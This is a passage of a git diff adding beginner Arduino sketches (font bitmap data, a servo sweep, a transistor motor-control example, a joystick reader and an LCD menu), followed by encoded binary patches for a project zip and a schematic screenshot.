o + 126,18,18,18,12, // p + 12,18,18,18,124, // q + 124,8,4,4,8, // r + 72,84,84,84,36, // s + 4,4,126,4,4, // t + 60,64,64,64,60, // u + 28,32,64,32,28, // v + 124,32,16,32,124, // w + 68,40,16,40,68, // x + 4,8,112,8,4, // y + 68,100,84,76,68, // z + + 0,8,54,65,0, // { + 0,0,127,0,0, // | + 0,65,54,8,0, // } + 16,8,24,16,8, // ~ + + // Small Numbers (for adding colon in clock applications) + 0,62,34,62,0, // 0 + 0,0,62,0,0, // 1 + 0,58,42,46,0, // 2 + 0,42,42,62,0, // 3 + 0,14,8,62,0, // 4 + 0,46,42,58,0, // 5 + 0,62,42,58,0, // 6 + 0,2,2,62,0, // 7 + 0,62,42,62,0, // 8 + 0,14,10,62,0, // 9 + 0,0,20,0,0, // : + + + +}; + +const byte GRAPHIC[5][5] = { + 0,0,0,0,0, + 0,28,62,127,0, // Speaker cone + 34,28,65,34,28, // Sound wave + 16,32,16,8,4, // Check mark + 34,20,8,20,34, // "X" +}; + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Projects/Servo_Sweep/Servo_Sweep.ino b/Projects/Servo_Sweep/Servo_Sweep.ino new file mode 100755 index 0000000..e26fb5a --- /dev/null +++ b/Projects/Servo_Sweep/Servo_Sweep.ino @@ -0,0 +1,29 @@ +// Sweep +// by BARRAGAN + +#include + +Servo myservo; // create servo object to control a servo + // a maximum of eight servo objects can be created + +int pos = 0; // variable to store the servo position + +void setup() +{ + myservo.attach(9); // attaches the servo on pin 9 to the servo object +} + + +void loop() +{ + for(pos = 0; pos < 180; pos += 1) // goes from 0 degrees to 180 degrees + { // in steps of 1 degree + myservo.write(pos); // tell servo to go to position in variable 'pos' + delay(15); // waits 15ms for the servo to reach the position + } + for(pos = 180; pos>=1; pos-=1) // goes from 180 degrees to 0 degrees + { + myservo.write(pos); // tell servo to go to position in variable 'pos' + delay(15); // waits 15ms for the servo to reach the position + } +} diff --git a/Projects/StepMotor/StepMotor.ino b/Projects/StepMotor/StepMotor.ino new file mode 100755 index 0000000..93a2c72 --- /dev/null +++ b/Projects/StepMotor/StepMotor.ino @@ -0,0 +1,93 @@ +/* ----------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-03 .: Spin Motor Spin :. (Transistor and Motor) | + * ----------------------------------------------------------- + * + * The Arduinos pins are great for driving LEDs however if you hook + * up something that requires more power you will quickly break them. + * To control bigger items we need the help of a transistor. + * Here we will use a transistor to control a small toy motor + * + * http://tinyurl.com/d4wht7 + * + */ + +int motorPin = 9; // define the pin the motor is connected to + // (if you use pin 9,10,11 or 3you can also control speed) + +/* + * setup() - this function runs once when you turn your Arduino on + * We set the motors pin to be an output (turning the pin high (+5v) or low (ground) (-)) + * rather than an input (checking whether a pin is high or low) + */ +void setup() +{ + pinMode(motorPin, OUTPUT); +} + + +/* + * loop() - this function will start after setup finishes and then repeat + * we call a function called motorOnThenOff() + */ + +void loop() // run over and over again +{ + motorOnThenOff(); + //motorOnThenOffWithSpeed(); + //motorAcceleration(); +} + +/* + * motorOnThenOff() - turns motor on then off + * (notice this code is identical to the code we used for + * the blinking LED) + */ +void motorOnThenOff(){ + int onTime = 2500; //the number of milliseconds for the motor to turn on for + int offTime = 1000; //the number of milliseconds for the motor to turn off for + + digitalWrite(motorPin, HIGH); // turns the motor On + delay(onTime); // waits for onTime milliseconds + digitalWrite(motorPin, LOW); // turns the motor Off + delay(offTime); // waits for offTime milliseconds +} + +/* + * motorOnThenOffWithSpeed() - turns motor on then off but uses speed values as well + * (notice this code is identical to the code we used for + * the blinking LED) + */ +void motorOnThenOffWithSpeed(){ + + int onSpeed = 200; // a number between 0 (stopped) and 255 (full speed) + int onTime = 2500; //the number of milliseconds for the motor to turn on for + + int offSpeed = 50; // a number between 0 (stopped) and 255 (full speed) + int offTime = 1000; //the number of milliseconds for the motor to turn off for + + analogWrite(motorPin, onSpeed); // turns the motor On + delay(onTime); // waits for onTime milliseconds + analogWrite(motorPin, offSpeed); // turns the motor Off + delay(offTime); // waits for offTime milliseconds +} + +/* + * motorAcceleration() - accelerates the motor to full speed then + * back down to zero +*/ +void motorAcceleration(){ + int delayTime = 50; //milliseconds between each speed step + + //Accelerates the motor + for(int i = 0; i < 256; i++){ //goes through each speed from 0 to 255 + analogWrite(motorPin, i); //sets the new speed + delay(delayTime); // waits for delayTime milliseconds + } + + //Decelerates the motor + for(int i = 255; i >= 0; i--){ //goes through each speed from 255 to 0 + analogWrite(motorPin, i); //sets the new speed + delay(delayTime); // waits for delayTime milliseconds + } +} diff --git a/Projects/Tea-duino Main/Joystick_DirectionPrint/Joystick_DirectionPrint.ino b/Projects/Tea-duino Main/Joystick_DirectionPrint/Joystick_DirectionPrint.ino new file mode 100755 index 0000000..278ca71 --- /dev/null +++ b/Projects/Tea-duino Main/Joystick_DirectionPrint/Joystick_DirectionPrint.ino @@ -0,0 +1,31 @@ +int UD = 0; +int LR = 0; + +void setup() { + Serial.begin(9600); +} + +void loop() { + UD = analogRead(A0); + LR = analogRead(A1); + if (UD == 0) + { + Serial.println("This is down!"); + } + else + if (UD == 1023) + { + Serial.println("This is up!"); + } + else + if (LR == 0) + { + Serial.println("This is Left!"); + } + else + if (LR == 1023) + { + Serial.println("This is Right!"); + } + delay(10); +} diff --git a/Projects/Tea-duino Main/Menusystem_LCD/Menusystem_LCD.ino b/Projects/Tea-duino Main/Menusystem_LCD/Menusystem_LCD.ino new file mode 100755 index 0000000..b15ee67 --- /dev/null +++ b/Projects/Tea-duino Main/Menusystem_LCD/Menusystem_LCD.ino @@ -0,0 +1,72 @@ +// include the library code: +#include + +// initialize the library with the numbers of the interface pins +LiquidCrystal lcd(7, 8, 9, 10, 11, 12); +int UD = 0; +int LR = 0; +const int buttonPin = 2; + +char* myString [] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@Odinbn", "@hozar132"}; +int length = 0; + +int buttonState = 0; + +int i = 0; + +void setup(){ + lcd.begin(16, 2); + + pinMode(buttonPin, INPUT); + + Serial.begin(9600); +} + +void loop() +{ + //Get length of myString + length = 5; + + UD = analogRead(0); + LR = analogRead(1); + /* + if (UD > 512) + { + Serial.print("UP"); + delay(800); + } + else + if (UD < 512) + { + Serial.print("Down"); + delay(800); + } + else + if (LR < 512 && UD > 512) + { + Serial.print("Right"); + delay(800); + } + else + if (LR < 512) + { + Serial.print("Left"); + delay(800); + }*/ + + buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + lcd.clear(); + lcd.write(">"); + lcd.write(myString[i]); + lcd.setCursor(1,1); + lcd.write(myString[i + 1]); + delay(800); + i++; + } + if (i >= length) + { + i = 0; + } +} diff --git a/Projects/Tea-duino Main/Menusystem_LCD/data/JoystickController.zip b/Projects/Tea-duino Main/Menusystem_LCD/data/JoystickController.zip new file mode 100755 index 0000000000000000000000000000000000000000..273ef6bb210945f7c7f374d108c9b116b73d4ec9 GIT binary patch literal 10312 zcmdT~by(AT`=%L4%A`R>M5z&qI6@d*Bc;RDX>fFP|%DToSEDhLSD zlP&>$H_xkQD)8gH=ltUi<+t$d*+0>CoQ-=iW^WvoXCsC;C8a5D16@>%D0-&D1;;N6sFQd zC}9Q$P>7_8hR!z~@s=jl(Xa11?)|e3$kxHe)al!) zZ2b~Bdq<$~;Q)t~y6_fs!Y248HOLJszBPTMJt!MTcT) z`I9u~A!Q%wGv*n3wBslSN4Pi*X2oAxdxM*omRkikB>>=mc~kBiUV zUXuQcUfS0izqX-&+!I*%{Y_z(VbV$cFCuf5+1RMfY6;lvN^03a1k|<41Oy4S2{Mrc z${{5QkutevB;N|K7LoH10;2%$?E~(^`2b|_J?_!AVwU26k*&NaTYs*8!l>93YM{zO5vG!{gWIDfhn1Mj0j5x&8>wM zzES_CXsJ1<-lNitabxdDpZU<06HB~8v(ow>LMOaEvYBo+WtcE&_pody{*j=jbZ3!f$sw=DQ#r=yO-b`y`wGpaG<@tp)f(hwEVyly#VE2NNYil=+j)= zc%rjgLrR)ed;|S8MjC|A2Hq1OZoGxh-sa$zi+li;q6?;xZMJe#sX11u@_}DzDW{_a zwr8Q$r%{3RBr4naH-K~1H@^xi!VW}&G?TLATPjt~@ zMDHbE7AYR%x)gz>yq-GKp)OaQrJzi;fR!G5wweG|u?y>WR`GK_v%U#6CRSdXDJM5) zy(plP$|C168CNRDe$@L#V!5P_w}R^?02l=Jo?g!D6+`#i(#A74PvBxKdWjgS) z&OU&?=4rWeIy+jGQB77&r5_%(#KBNnSx1ng`PIvOV2}@6&<;#H=uxpUIk$Da-7<&| zuPJ_GyiSY>7FA#KXwj@gNEdq_w{9-4AfJ<)y=O`aU0fe8Y#ND)of!y|PS3E7`D8?ikO$66 zO|m3E>l%Hv6;yg_N}p1@CA#wgFINtb!UE{Ld0J2=S8$@3uOMZms2lhU`qlzSD`-$~ zeduJNSJCMxF78uC}bq;#nMxY4S zl{aFSTt^&8G+Cj?@MAN%xk^+aTz$Cb^7ITJ-Klup>OP^;;K92wX?*sQqy=LTv9A}d zYLmf3f5Id5%p*-B^#GnSGT(KUohNmiJ{IA6O`M;mkaignJU&PKHdyM#?d<(Va`|)G zDK7Qqmh?}=tZ8^yWDDVEcrrRk)9_Vx9Dfz55OOjKY$b>#VVA$Fa+A=S&GEs?=<~i8 zeApYC0J@vXnc)wlmP4RVnp+Uf3Tpn=CyMX*Q_>Qh-!v2~uy-qAY>?vk5-XB8U8<(m z2FxPXR?bosKQ+uKU>a@y20@apQ=W6xSTDh@a@%8Fh4rS(n*q&-NmWwKwchE~>1@D! zSG(47x9W@$$JzHcs?}^DN)Mki)9zBJo7Hipx&nK;ZL1w1Z?k){+>J`&xGm!~7>w@k zguP0)6ChAOuO>o35bW@#mM12U({t`3kubJAUtfrIvIyJxPi;}aI<$baRNEJJO4V2#K$z*1@clzy&U7zTFw!@;1>KHyl*|*y6z{it)Qxv1M$1!Cy4#a3+g~rPQcfbSst<{E zS+vrNnspB=hL~3-pzfdKv!30=J1ZM$%PlHWU-r^R|5aZ5%)-vg>S@?y(4c~d-WY-b zd#;U9P1lM1K`LebJ$zXrpBtu^<+D4UiFG38b3Q$oBIr&|i+!)imkDKJdE%Qy@p>8P z>|7v3I2N8;n=1d^f8i?@dw9r=Z|6Dq8YD z*IFOMUF+P;Z9Fn%>-&V$A#F@9I874g8XoHkM-f($MkGCV4k8em$m-%f5&kgL!8Wz+ zBQyPitvP*5;Ct8GvFQ?2*B1qgGE0d9YL0o01}V zk6xW^Q&geXZ@&vp62?ty#}Yy4iwK=aBTBWgCtDrp?%(Q(Y$GRH4at0`_&7JuEbmOM z#PN(`+|u?K3X<7K{gK{QCOB9lbBtMSqJeCEwVO!Bxw@K&-KBnpTZWp>Zw90q+E4Dv zh>S0Cah)XvFOQg?3%;9M>F2!a=r!_;AkH&ZoZP|Jt8e=$IjNQXnker?t9y!@D`WSz zKe;{cc7;pKf?vv!2?MA6&iJ={&mg_3&z5yfL;}HuW$9<`Q(3|6j*W(x1izK6!O@x@ z3q4zoxA{_Gxi&;SVDNIy=pdDJvi&(Vk*1>yH`F1Z3lb;uIS_ya)qnxKsxf|;@v{UL z8mo-Q3i$!N+JKHsxO$j#$~mGwEiKcom`jp_5&E1WvFJ=)4@Ci26%oqX>~Xjr~zVMB!54pK#FpU!$(?W+AyZ)H&8Qiwr; zlx}py1FpChe#mY0UE$%dHUCJK32vwJcNI|7RwkGJL9l#g? zbF^U^?=Av;BK?91n3Lzl89!qmQObMGecvP$Kjg_O;?2z2b!ZWbUJ2`&l;JmD8)emP z)ZsW9%M&`BNVDqpJMY~qHqbWowWiL+;xSi2l z>bUSw^r zTe4{_OQw`=3D}fy$P59hnPZ{+W=1iWuV@%0l?`cy+$-~YSB=b#7PTi6)8*Dxr@u*0TWj8QHnQ`v7_~6pK0*#&iR*92;u!ao5XEjNiq% zWGQ0FpLB~o#ZlMjW{hQd5O1?}6LB#!&;<-_LB^{3OOVs111ahXzd*m`A3YU|zL&if$ zGS8Pu3|C0VFt*S(_9_9X5_%G~dkEkJK3u0A+c+d=u!)hi3aodO8WR*-O-ZDsM;J@^ zoGM+-7T!PR5`yG7;wxl{cQ3!ve=2P%TDX0lE{jm4<_NH>-A+aA<>j)ISMWUym=SD5 z(_b-8>(L1t%Up+S@hucz{?%C zWoLk=ix|q8^?NBxmJ7u1%}a15%&d()KTSF+D}X(v7F+CW)Zf0DIoG{9eOwzi*}o&J z=)!pa22KYz@iJSOR7RQf$6Q8v|LCOkEb`JwF&H_|i%01OsmCi8y}Pe<&Xh3Ies-sk&T z1aeNAu3led(q5Q59_=~aEd?Cj9d61D<@ieDLY<(@6fh>L^oW`|bO6Fpt7u(Jw~AF+ zsD9Vpqt|M*G!NlBgZa$<1|jsJZyfX#86rR(#t(lztvK+>*Nkw_%i03 zr%=s8678q7Su1*tdfI>pBIR8~tJOUfYrXZcfmx0+Vh1XAOm$ z*#0j|X=0fZ1%EE3v2l*!?oH#-W09a{`)?0%+SH_1bUfxZi=M4|sUB(#FxnWBRrPW=Qij|s8AroV&#X+0(f z%Yy-)jX=|3KlIxl{AaFtZ%6!2>0%xoA8ORwAOAb4fTFelKUf7!7ySw@j9~>55^y;1 zeK@RdLcf!}zXlE_XQ+iK6fyVrgzlrvAA}m<2l0#PgkS%#z=fgDE~Fk+BoA?vKe_ra z(J1wk6lxTA`d6gvW9B!X|15p)a5ch^o{hNv4@uvb!Q0#Yf2xK_rb+*#S_#2lbIiUf zpi^MKXv7rH{ge1|!b6G2O)#_2q~D8D`rbaB7|rTG5}*l1^l?lKga~k7|upqV?3k@hmwOi os9_FH*$5LR3^{wH;g9(fb1cJ0l}RitTGVq6^=~{`X7soJ0H~ZbDgXcg literal 0 HcmV?d00001 diff --git a/Projects/Tea-duino Main/Schematics/Screen Shot 2014-05-11 at 22.08.05.png b/Projects/Tea-duino Main/Schematics/Screen Shot 2014-05-11 at 22.08.05.png new file mode 100755 index 0000000000000000000000000000000000000000..aa70f531f45d452f58313d407dc29d431613c0e8 GIT binary patch literal 204931 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 